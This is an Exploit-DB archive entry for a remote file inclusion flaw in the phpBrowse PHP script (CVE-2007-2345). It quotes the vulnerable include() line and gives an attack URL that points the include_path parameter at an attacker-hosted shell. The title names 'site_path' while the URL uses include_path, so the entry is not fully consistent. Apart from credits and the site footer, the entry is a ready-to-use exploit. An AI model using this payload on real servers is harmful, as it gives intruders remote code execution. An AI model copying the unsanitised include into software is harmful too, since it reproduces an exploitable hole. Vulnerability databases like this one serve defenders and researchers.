CodeWand phpBrowse - 'site_path' Remote File Inclusion

EDB-ID:

3668

CVE:

2007-2345

EDB Verified:

Author:

kezzap66345

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2007-04-05

Vulnerable App:

PhpBrowse
*****************
Found by kezzap66345 *
*****************
Script:
http://www.codewand.org/download/phpBrowse.tar.gz
*****************
ERROR:
/include/include_stream.inc.php


include($include_path . "style.inc.php");     <<< rfi coded


**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
RFI:

http://SITE.com/path/include/include_stream.inc.php?include_path=[SHELL]

**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
kezzap66345[at]hotmail[dot]com

******thanx=x0r0n*str0ke*shika***Siircicocuk*******************************************

# milw0rm.com [2007-04-05]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services